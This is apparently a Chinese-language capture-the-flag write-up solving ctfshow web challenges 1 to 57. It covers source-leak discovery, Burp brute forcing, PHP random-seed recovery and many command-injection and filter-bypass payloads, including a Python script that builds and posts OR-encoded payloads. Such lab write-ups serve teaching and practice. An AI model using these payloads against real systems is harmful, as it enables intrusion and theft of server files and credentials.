# 1. 信息搜集
# web1、2
查看网页源代码:ctrl+u
# web3
bp 抓包后,Action 中发送到 Repeater,看见 response 中有 flag
<img src="C:\Users\vvww\AppData\Roaming\Typora\typora-user-images\image-20241230214008662.png" alt="image-20241230214008662" style="zoom:80%;" />
# web4
robots 协议,访问 /robots.txt 即可,可由此知道网站结构
# web5
php 源码泄露,访问 /index.phps
,phps 就是源码文件
# web6
用 dirsearch 进行目录扫描,找到 /www.zip
目录,访问后得到压缩文件,解压后发现压缩文件里的 index.php 中说 flag 在 fl000g.txt 中,不过压缩包内的是假的,访问 url/fl000g.txt 获得 flag
# web7
仍然利用 dirsearch 进行扫描,找到 /.git/
,访问获取 flag
# web8
仍然是版本控制访问 url/.svn
,获取 flag
# web9
根据题目中发现 vim 中有故障出现,故根据 vim/vi 意外退出的隐藏文件进行访问 url/index.php.swp
, 得到文件,打开即可获取 flag<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20241231165953059.png" alt="image-20241231165953059" style="zoom:80%;" />
# web10
cookie 中值藏有 flag,要将两个括号利用 ascii 转义一下(可以用 url 解码)
# web11
利用 nslookup 进行域名解析 nslookup -query=any flag.ctfshow.com
(现在疑似解析出问题了)
# web12
利用 dirsearch 扫描,有 /admin/
访问后发现是进行登录,密码为网页首页下的电话号码,账号为 admin
# web13
在源代码中发现有 document.pdf
,访问发现是技术手册 < img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250101101315089.png" alt="image-20250101101315089" style="zoom:50%;" />
按照所给地址访问 url/system1103/login.php
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250101101509233.png" alt="image-20250101101509233" style="zoom: 50%;" />
可以进行登录 < img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250101101654830.png"alt="image-20250101101654830"style="zoom:50%;" /> 登录后即可获得 flag
# web14
dirsearch 扫描发现有个 editor,访问后是个编辑器,看 wp 知道 插入文件
里的文件空间是 web 服务器的文件空间
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250101113915716.png" alt="image-20250101113915716" style="zoom:50%;" />
找到html(在var/www/html/)
里面有个 /nothinghere/fl000g.txt
直接访问这个 url/nothinghere/fl000g.txt
, 注意:访问的不是 url/editor/attached/file/var/www/html/nothinghere/fl000g.txt
, 直接以 html 后的路径开始
# web15
扫描后发现有个 admin,访问是登录页面,忘记密码中询问所在城市,查看 QQ 号,发现城市西安,修改密码再登录即可
# web16
看提示是探针,访问 url/tz.php
, 进去后发现可以点击 phpinfo
,访问一下,里面搜索 flag 即可找到
# web17
dirsearch 访问发现有 backup.sql
访问后得到 sql 文件,打开得到 flag
# web18
# 解法 1:
访问 F12 中找到 js 文件双击,打开了 js 文件页面,查看代码有下面的逻辑判断
对输出内容进行 unicode 解码,
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250101161930005.png" alt="image-20250101161930005" style="zoom:50%;" />
访问 110.php
获得 flag
# 解法 2:
在 F12 开发者模式中的控制台进行修改数值:输入 score=130
和 run()
点击重新开始的确定后得到输出:
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250101163946573.png" alt="image-20250101163946573" style="zoom:50%;" />
# web19
查看源码,进行 aes 解密:<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250101171809640.png" alt="image-20250101171809640" style="zoom:50%;" />
得到密码,获取 flag
# web20
使用 dirsearch 递归 (-r) 扫描,找到 /db/db.mdb
, 访问后得到文件,打开后搜索 flag 找到
# 爆破:
# web21
访问后弹出登录框,随便输入 admin 和123
抓包后发现为:
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250102162019584.png" alt="image-20250102162019584" style="zoom:67%;" />
发送到 intruder,选择 Sniper, 用一对 $
将要修改的 base64 围起来,<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250102165552865.png" alt="image-20250102165552865" style="zoom:67%;" />
在 payloads 中选择
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250102165631865.png" alt="image-20250102165631865" style="zoom:50%;" />
position1 为: admin:
,positon2 设置为题目提供的字典,选择对 payload 进行 base64 编码:<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250102165815740.png" alt="image-20250102165815740" style="zoom:50%;" />
不勾选 payload encoding
,以防将 ==
等特殊符号进行 url编码
接下来爆破即可,找到状态为 200 的页面查看 response:
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250102170024443.png" alt="image-20250102170024443" style="zoom:67%;" />
# web22
使用在线工具进行域名爆破
# web23
根据判断语句构造 python 脚本,采用 hashlib
库进行遍历找到符合条件的值,利用 get 传参该值获取 flag
import hashlib | |
for i in range(1000): | |
token=hashlib.md5(str(i).encode('utf-8')).hexdigest() | |
if(int(token[1],16)==int(token[14],16)&int(token[14],16)==int(token[17],16)): | |
if((int(token[1],16)+int(token[14],16)+int(token[17],16))/int(token[1],16))==int(token[31],16): | |
print(i) |
得到结果 422:
HackBar 中进行 get 传参,得到 flag
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250102203955081.png" alt="image-20250102203955081" style="zoom:67%;" />
# web24
有随机函数 mt_srand(372619038)
, 经测试后发现每次输出都是同一个固定值: 1155388967
用 gets 传参穿该值即可获得 flag
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250102215142078.png" alt="image-20250102215142078" style="zoom:67%;" />
# web25
调用了三次 mt_rand
第一次可以通过计算反推出为 1166487028
, 利用工具 php_mt_seed
得出种子(flag 的 MD5 值的 0-8 位):通过抓包的 response 中知道为 PHP7.3.11,找这个范围的种子:
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250103001944918.png" alt="image-20250103001944918" style="zoom:67%;" />
** 注意:** 代码判断还需要让 rand=0
才能进入判断 cookie 的部分,所以要让 r=1166487028
, 经测试 cookie 的 token=2861927372
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250103002231593.png" alt="image-20250103002231593" style="zoom:80%;" />
# web26
进入到管理系统安装页面,发现要输入信息,根据题目应该是要爆破密码,抓包进行爆破
测试一下随便输入提交后会弹出:
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250103153312762.png" alt="image-20250103153312762" style="zoom: 50%;" />
发现访问的页面中有一个 checkdb.php
, 这个是在页面显示数据库连接成功后才有,抓包,进行爆破:
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250103153656343.png" alt="image-20250103153656343" style="zoom:67%;" />
猜测密码为纯数字,爆破:
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250103153806855.png" alt="image-20250103153806855" style="zoom:50%;" />
爆破超时了,看了别人的 wp 发现:将 post 传入的值都删掉就可以得到 flag:
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250103164632921.png" alt="image-20250103164632921" style="zoom:50%;" />
下面两个都可以(在checkdb.php页面POST即可) | |
&a=&p=&d=&u=&pass= | |
a=&p=&d=&u=&pass= |
# web27
点击录取名单会下载一个 excel 表格:
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250103180906181.png" alt="image-20250103180906181" style="zoom:33%;" />
进入到学籍信息查询系统:
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250103180953166.png" alt="image-20250103180953166" style="zoom: 33%;" />
随便输入后进行抓包(火狐貌似直接复制表格中的数据可能抓不到包,随便输入再试试),爆破是年月日(bp 中手动输入: yyyyMMdd
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250103182434118.png" alt="image-20250103182434118" style="zoom:50%;" />)
找到 response 不一样的长度:<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250103182536968.png" alt="image-20250103182536968" style="zoom:50%;" />
得出身份证号,去获取 flag(再火狐中不会弹出结果,再 google 得到结果:<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250103182811227.png" alt="image-20250103182811227" style="zoom:50%;" />)
登录获取 flag
# web28
要进行目录爆破(将 get 中的 /2.txt
删除),burpsuite 抓包,利用数字爆破:
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250105160615498.png" alt="image-20250105160615498" style="zoom:67%;" />
由于爆破时间太久了,就用了 wp 中附近的数字进行爆破(Step 为间隔):
payload1:从72爆破到99
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250105160727207.png" alt="image-20250105160727207" style="zoom:50%;" />
payload:从1爆破到31
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250105160841525.png" alt="image-20250105160841525" style="zoom:50%;" />
最终爆破结果是 / 70/20,得到 flag:
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250105161059414.png" alt="image-20250105161059414" style="zoom:50%;" />
# 命令执行:
# web29
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250105192608336.png" alt="image-20250105192608336" style="zoom:50%;" />
这里是对 flag 进行了过滤( i是设置为不区分大小写
),eval 会将字符串当作 php代码
或者 系统命令执行
所以先令:
?c=system("ls");#得到目录,发现有个 flag.php |
然后可以:
c=system("cat fla*");#flag 在源代码中 | |
?c=system("tac fla*");#tac 将内容从最后一行往前输出,直接就能看到 flag |
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250105193240130.png" alt="image-20250105193240130" style="zoom:50%;" />
注意:最后要加上分号 ;
作为结束
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250105193202573.png" alt="image-20250105193202573" style="zoom:67%;" />
# web30
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250105194122223.png" alt="image-20250105194122223" style="zoom:50%;" />
过滤了 system,可以利用 passthru()
来执行系统命令
/?c=passthru("ls");# 看见有 flag.php | |
/?c=passthru("tac fla*");#输出 flag |
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250105194401925.png" alt="image-20250105194401925" style="zoom:50%;" />
# web31
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250105234437819.png" alt="image-20250105234437819" style="zoom:50%;" />
过滤了 空格
(%20 也不能用了)和 system
已经 cat
, 所以使用 tab(%09)
来代替:
c=passthru("tac%09fla*"); | |
c=passthru("more%09f*"); |
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250105234734682.png" alt="image-20250105234734682" style="zoom:50%;" />
# web32
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250106113002558.png" alt="image-20250106113002558" style="zoom:50%;" />
过滤了了 ;
和 (
,只能用不含括号的函数进行绕过,利用 include 文件包含漏洞利用 php 的 filter 伪协议伪协议进行:
c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php |
得到 base64 的 flag:
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250106120629863.png" alt="image-20250106120629863" style="zoom:80%;" />
解码后得到 flag
# web33
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250106121200582.png" alt="image-20250106121200582" style="zoom: 67%;" />
这次又多过滤了一个 "
,仍然可以用文件包含和 filter 伪协议进行:
c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php |
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250106121407852.png" alt="image-20250106121407852" style="zoom:67%;" />
解码得到 flag
# web34
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250106123159664.png" alt="image-20250106123159664" style="zoom:67%;" />
过滤了 :
, 但是只对参数 c 进行检查,前两题的 payload 都是 a 的参数里有 :
,所以仍然可以使用:
c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php | |
#或者用data: | |
c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?> |
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250106123554998.png" alt="image-20250106123554998" style="zoom:67%;" />
# web35
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250106123915721.png" alt="image-20250106123915721" style="zoom:67%;" />
过滤了 <
和 =
,前面的 payload 仍然可以用:
c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?> |
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250106124112756.png" alt="image-20250106124112756" style="zoom:67%;" />
# 解法 2:
#GET: | |
?c=include$_GET[1]?>&1=php://input #php://input默认读取没有处理过的POST数据 | |
#POST: | |
<?php system('tac flag.php');?> | |
#需要注意,因为POST没有按照key=value封装数据, 因此hackBar认为数据有问题, 不会发送数据, 可以使用Burp Suite发送数据(可以不用在bp中对特殊符号进行url编码) |
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250106124757596.png" alt="image-20250106124757596" style="zoom:67%;" />
# web36
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250106125034062.png" alt="image-20250106125034062" style="zoom:67%;" />
过滤了 0-9
的数字,因此对新传入的 变量
命名不用数字就行:
c=include$_GET[a]?>&a=data://text/plain,<?php system("tac flag.php")?> |
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250106125223497.png" alt="image-20250106125223497" style="zoom:67%;" />
# web37:
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250106141119730.png" alt="image-20250106141119730" style="zoom:67%;" />
** 注意:** 这里的 echo $falg;
并没有对 flag 进行赋值,所以没有任何输出
不再是 eval函数
了,对 include()函数
可以利用伪协议来传入 php 代码并执行,但是不能出现字符 flag
:
# 解法 1:
利用 data://
后面的 url 的内容被 include 传入并执行
c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs/Pg== #转为base64,绕过过滤关键字flag,原内容:<?php system("tac flag.php");?> |
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250106141404438.png" alt="image-20250106141404438" style="zoom:67%;" />
# 解法 2:
利用 post 传入带有 flag 关键字的内容,而对 get 的过滤不会检查 post 的内容,故使用 php://input
协议
#GET: | |
?c=php://input #php://input默认读取没有处理过的POST数据,get的参数过滤不会对post的内容进行过滤 | |
#POST: | |
<?php system('tac flag.php');?> #这里用hackbar不能执行,因为post没有给变量名,需要用burpsuite |
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250106141751102.png" alt="image-20250106141751102" style="zoom:67%;" />
# web38
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250106142751892.png" alt="image-20250106142751892" style="zoom: 67%;" />
过滤了 php
,所以上面的解法 2 用不了,用解法 1:
c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs/Pg== #转为 base64,绕过过滤关键字 flag,`;base64` 是表示是 base64 编码,分号用于分隔 编码类型 | |
#这里用 data:// 协议是将后面的内容作为文件内容使用,也就相当于为 include 提供了文件 |
# web39
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250106144616027.png" alt="image-20250106144616027" style="zoom:67%;" />
这里利用 .
对传入的变量的内容后再拼接一个 .php
,不能让该拼接内容影响我们的 php 语句,所以需要对 php 进行闭合 用<?php ...?>
使后面拼接的内容不影响我们的代码
** 注意:** 不能使用 base64,猜测是被后面拼接的内容干扰了,还没将 base64 解析出来两个闭合符号(应该是先拼接然后再将整体当作 base64 解析)
c=data://text/plain,<?php system("tac fla*");?> |
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250106145138088.png" alt="image-20250106145138088" style="zoom:67%;" />
# web40
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250106155402078.png" alt="image-20250106155402078" style="zoom:80%;" />
基本上过滤了所有特殊字符和数字,不过没有过滤下划线 _
,看了 wp 才注意到里面过滤的是中文的 ()
意味着仍然可以用英文的 ()
,这回使用无参函数来读文件:
首先先读目录:
c=var_dump(scandir(pos(localeconv())));#查看当前目录内容 | |
#或 | |
c=print_r(scandir(getcwd())); |
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250106191043769.png" alt="image-20250106191043769" style="zoom:80%;" />
知道 flag.php 是第三个,所以读倒数第二个:
c=show_source(next(array_reverse(scandir(getcwd()))));#读倒数第二个 | |
#解释:getcwd/pos (localeconv ()) 返回 ".", | |
#就相当于 scandir (".") 就是遍历当前目录返回目录文件数组(第一个是 ".", 第二个是 "..",第三个才是真正的文件名开始) | |
#然后将数组颠倒,假如有两个文件:flag.php、index.php,那么数组为 arry [0]=".", arry [1]="..", arry [2]=flag.php, arry [3]=index.php, 倒序后 flag.php 就是第二个,用 next 就可以指向 flag.php | |
#show_source 就可以读倒数第二个 |
** 注意:** 这里不能对读第三个数组用两个 next 嵌套,可能因为解析顺序的原因使无法正确读出 flag.php<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250106191251302.png" alt="image-20250106191251302" style="zoom:80%;" />
# web41
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250107125507913.png" alt="image-20250107125507913" style="zoom:67%;" />
过滤了许多字符,但是没有过滤 |
(或运算),因此可以通过利用没有被过滤的符号进行 ** 或运算
来得到被过滤的字符 **,从而达到绕过的目的
通过脚本:
import re | |
import urllib | |
from urllib import parse | |
import requests | |
# 初始化一个列表来存储编码后的字符信息 | |
contents=[] | |
# 遍历所有可能的 ASCII 字符(从 0x00 到 0xFF) | |
for i in range(256): | |
for j in range(256): | |
hex_i='{:02x}'.format(i)#将整数 i 格式化为 两位十六进制 数字,并确保其长度为 2 位。如果数字不足两位,会用前导零补充。 | |
hex_j='{:02x}'.format(j)#02: 表示数字总长度为 2,如果数字少于 2 位,会用 0 填充,x:表示将数字格式化为 小写的十六进制数 | |
#re.compile 是 re 模块中的一个函数,用于 编译正则表达式 | |
preg=re.compile(r'[0-9]|[a-z]|\^|\+|~|\$|\[|]|\{|}|&|-',re.I)#re.I 是不区分大小写, | |
# r‘’是将 `\` 视为普通字符,不再 python 中转义,在正则解释器中转义 | |
#当前字符是正则匹配的字符串则不进行或运算 | |
if preg.search(chr(int(hex_i,16))) or preg.search(chr(int(hex_j,16))): | |
continue#跳出当此循环 | |
#将字符转换为百分号编码(url 编码)格式(如:'%20' 代表空格) | |
a='%'+hex_i | |
b='%'+hex_j | |
# 计算两个十六进制值按位或运算的结果 | |
c=chr(int(a[1:],16)|int(b[1:],16))#a [1:] 是取百分号后(从索引 1 开始)的所有内容 | |
# 只保留 ASCII 码在 32 到 126 之间的字符(即可打印字符) | |
if 32<=ord(c)<=126: | |
#将字符、其百分号编码形式以及备用编码形式添加到列表中 (将字符和构成该字符的两个 url 编码放入列表) | |
contents.append([c,a,b]) #c,a,b 作为一个列表元素加入到 contents 列表尾部,如 [[c1,a1,b1],[c2,a2,b2]] | |
def makepayload(cmd):#cmd=system cat flag | |
payload1='' # 初始化第一个 payload 字符串 | |
payload2='' # 初始化第二个 payload 字符串 | |
# 遍历给定命令 cmd 的每一个字符 | |
for item in cmd: | |
for i in contents:#第一次循环时 i=[c1,a1,b1]....(字符和构成该字符的两个编码) | |
if item==i[0]:#如果找到与 cmd 的字符匹配 | |
payload1+=i[1] #将 url 编码 1 放入 payload1 | |
payload2+=i[2] #将 url 编码 2 放入 payload2 | |
break # 进入匹配 cmd 的下一个字符 | |
#返回一个字符串,其中包含两个 url 编码,以括号包围 | |
return '("'+payload1+'"|"' + payload2 +'")'#也就是 ("payload1"|"payload2") | |
#获取用户输入的 url | |
URL=input('url(是http,不是https):') | |
#调用 makepayload 找到能够构造 cmd 字符 url 编码 | |
payload=makepayload('system')+makepayload('cat flag.php')#PHP 允许省略括号,特别是当函数参数只有一个且可以作为有效的字符串时。 | |
#在 system cat flag.php 的情况下,cat flag.php 被自动视作 system () 函数的参数,因此命令会被正确执行。 | |
print(payload) | |
# 发送 POST 请求到指定的 URL,数据中包含编码后的 payload | |
#urllib.parse.unquote () 对 payload 进行 URL 解码,编码的字符串会被解码成原始字符串,如将 %20 解码成空格 | |
#data 参数是一个字典,其中包含你要通过 POST 请求发送的数据。在这个例子中,字典的键是 'c',值是解码后的 payload | |
#这里的 c 就是 c=xxxxx;(post 或 gets 传入的参数变量) | |
response=requests.post(URL,data={'c':urllib.parse.unquote(payload)}) | |
# 输出服务器的响应文本 | |
print(response.text) |
输入 url 后得到 flag
# web42
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250107133945200.png" alt="image-20250107133945200" style="zoom: 67%;" />
将回显重定向到 黑洞
,导致不再回显,要对字符串进行分隔
利用 &
进行分隔参数
c=tac%20flag.php%26 |
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250107133825549.png" alt="image-20250107133825549" style="zoom:67%;" />
# web43
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250107134346449.png" alt="image-20250107134346449" style="zoom:67%;" />
过滤了 分号
和 cat
,上一题的仍然可以用:
c=tac%20flag.php%26 #%26 是 & amp; |
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250107134508463.png" alt="image-20250107134508463" style="zoom:67%;" />
# web44
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250107134832319.png" alt="image-20250107134832319" style="zoom:67%;" />
多过滤了个 flag
,利用 fla*
去绕过
?c=tac%20fla*.php%26 |
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250107134957337.png" alt="image-20250107134957337" style="zoom:67%;" />
# web45
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250107140746920.png" alt="image-20250107140746920" style="zoom:67%;" />
过滤加上了空格,利用 tab(%09)
来代替
?c=tac%09fla*.php%26 |
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250107140726513.png" alt="image-20250107140726513" style="zoom:67%;" />
# web46
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250107143101390.png" alt="image-20250107143101390" style="zoom:67%;" />
这里又把 数字
、 *
、 $
给过滤了,tab 不能用了,${IFS} 也不行,可以用 <
或者 <>
进行绕过:
?c=tac<fla\g.php|| |
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250107143348387.png" alt="image-20250107143348387" style="zoom:67%;" />
# web47
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250107144047159.png" alt="image-20250107144047159" style="zoom:67%;" />
又新过滤了几个查看文件的命令,但是没有过滤 tac
,上一题的仍然可以用:
?c=tac<fla\g.php|| |
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250107144025654.png" alt="image-20250107144025654" style="zoom:67%;" />
# web48
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250107144647624.png" alt="image-20250107144647624" style="zoom:67%;" />
过滤又新增了一些命令,但是仍然没有过滤 tac
,所有上一题的仍然可以用:
?c=tac<fla\g.php|| |
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250107144937335.png" alt="image-20250107144937335" style="zoom:67%;" />
# web49
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250107145302344.png" alt="image-20250107145302344" style="zoom:67%;" />
新增过滤了一个 %百分号
,但是仍然没有 tac
,继续用上一题的:
?c=tac<fla\g.php|| |
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250107145420712.png" alt="image-20250107145420712" style="zoom:67%;" />
# web50
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250107145807289.png" alt="image-20250107145807289" style="zoom:67%;" />
新增过滤了 x09(tab)
和 0x26(&)
,继续用上一题的:
?c=tac<fla\g.php|| |
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250107150027637.png" alt="image-20250107150027637" style="zoom:67%;" />
# web51
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250107160156249.png" alt="image-20250107160156249" style="zoom: 80%;" />
这次把 tac
也过滤了,可以用 nl
进行输出,也可以对 tac
插入转义字符:
?c=nl<fla\g.php|| #nl:显示的时候,顺便输出行号,flag 在源代码中 | |
?c=t\ac<fla\g.php|| #在 tac 中插入转义字符 \ |
# web52
过滤了 <
和 >
,空格只能用其他的来代替,发现没有过滤 $
和 {}
,因此可以通过 ${IFS}
来绕过:
?c=t\ac${IFS}fla\g.php|| |
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250108000238731.png" alt="image-20250108000238731" style="zoom:67%;" />
发现不是 flag,需要找到 flag 的存放路径:
?c=find${IFS}/${IFS}-name${IFS}fla\g|| #find /-name 文件名 |
发现有两个 flag 文件:
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250108003005233.png" alt="image-20250108003005233" style="zoom:67%;" />
查看一下,得到 flag:
?c=t\ac${IFS}/fla\g|| #?c=tac /flag 【注意:flag 与 / 不能隔开】 |
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250108003351224.png" alt="image-20250108003351224" style="zoom:67%;" />
顺便看一下 /tmp/flag
里藏的什么:
?c=t\ac${IFS}/tmp/fla\g|| |
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250108003557739.png" alt="image-20250108003557739" style="zoom:67%;" />
# web53
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250108113121382.png" alt="image-20250108113121382" style="zoom: 80%;" />
会将我们输入的 c 打印出来,同时也把 c 作为 system 的参数,先查看目录:
?c=ls |
【这里的前面的 ls 不是文件名的,是 echo 打印的我们输入的 ls 命令】
访问 flag.php 即可:
?c=t\ac${IFS}fla\g.php |
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250108113443038.png" alt="image-20250108113443038" style="zoom:80%;" />
# web54
- 采用了
.*
来匹配任何字符,使得过滤的关键字不用完全一致,只要有相应的字符顺序就行,中间可以穿插任意字符:如.*c.*a.*t.*
可以与c1a2t3
匹配可利用?
来进行绕过: - 同时 cat 被过滤,想要用通配符
?
必须要唯一确定一个命令,因此需要完整路径来保证是唯一路径:/bin/cat
=>/bin/ca?
c=/bin/ca?${IFS}f???.php #【tac 貌似不再 bin 路径下,/bin/ta? 找不到】 |
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250108140958208.png" alt="image-20250108140958208" style="zoom:67%;" />
或者:
c=mv${IFS}fla?.php${IFS}a.txt #mv 命令把 flag 文件重命名,再使用 uniq 查看 a.txt【可以用 ls,看文件】 | |
c=uniq${IFS}a.txt #用 uniq 查看 a.txt 文件,在源代码中 |
# web55
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250109190637578.png" alt="image-20250109190637578" style="zoom:67%;" />
过滤了字母,导致不能通过常规方法传入系统命令,可以通过 无数字、字母命令执行
来绕过:
# 利用方法:
(在 ctftools / 无字母数字命令执行上传文件.html)【用 http,修改 url 后打开网页上传文件】
【注意是仍然 get 方式提交后面的 payload】
<!-- 构造一个 post 上传文件的数据包,这是个上传页面,选择文件上传 --> | |
<!DOCTYPE html> | |
<html lang="en"> | |
<head> | |
<meta charset="UTF-8"> | |
<meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
<title>POST数据包POC</title> | |
</head> | |
<body> | |
<form action="http://f2ef59eb-65f2-45f1-ba08-9e5def4312f5.chall.ctf.show/" method="post" enctype="multipart/form-data"> | |
<!-- 链接是当前打开的题目链接 --> | |
<label for="file">文件名:</label> | |
<input type="file" name="file" id="file"><br> | |
<input type="submit" name="submit" value="提交"> | |
</form> | |
</body> | |
</html> |
上传文件【不能直接提交,要抓包,提交文件和 payload 是一起进行的】:
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250109133020604.png" alt="image-20250109133020604" style="zoom:80%;" />
抓包:
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250109133255160.png" alt="image-20250109133255160" style="zoom:80%;" />
POST 后加入 payload【get 方式】: ?c=.+/???/????????[@-[]
【有可能最后一个字母不是大写,所以要多提交几次】
?c=.+/???/????????[@-[] #后面是 8 个?和 [@-[],[@-[] 代表一个大写字母,总共 9 个字母,php+6 个字母 (共九个) | |
?c=.%20/???/????????[@-[] #也可以 |
看见是 flag.php
,在抓包中修改 ls
为 cat flag.php
【同样可能需要多提交几次才能出现 flag】
# web56
这次过滤了一堆符号,但是没有过滤 /
所以仍然可以用文件路径去用 bash 执行文件内的命令 . file
,用上一题的脚本,修改 url 后上传文件并抓包:
?c=.%20/???/????????[@-[] # 这里虽然过滤了 %,但是 %20 传入 get 后会进行 url 解码成为 `(空格)`,解码后才进行的过滤,所以没影响 |
修改为 cat flag.php
# web57
过滤了 ?
和 [
那用文件上传的方法行不通了,看题目说明 flag 在 36.php
中,并且我们只需要传入文件名就行,通过 $(( ))
来构造出任意数字即可:
$(())值为0 | |
$((~$(())))值为-1 | |
$(($((~$(())))$((~$(()))))) #$((-1-1))=-2 | |
$((~$(($((~$(())))$((~$(()))))))) #$((~-2))=1,即对 - 2 取反 | |
加入得到36,可以有37个`-1`运算后再取反, | |
即在$((~$(())))里放入37个$((~$(()))) #~ 后的 $(()) 是计算 37 个 - 1 的和,然后 $((~)) 就是计算取反 |
利用脚本
get_reverse_number = "$((~$(({}))))" # 取反操作 | |
negative_one = "$((~$(())))" # -1 | |
payload = get_reverse_number.format(negative_one*37) #37 个 - 1, 再取反得到 36 | |
print(payload) | |
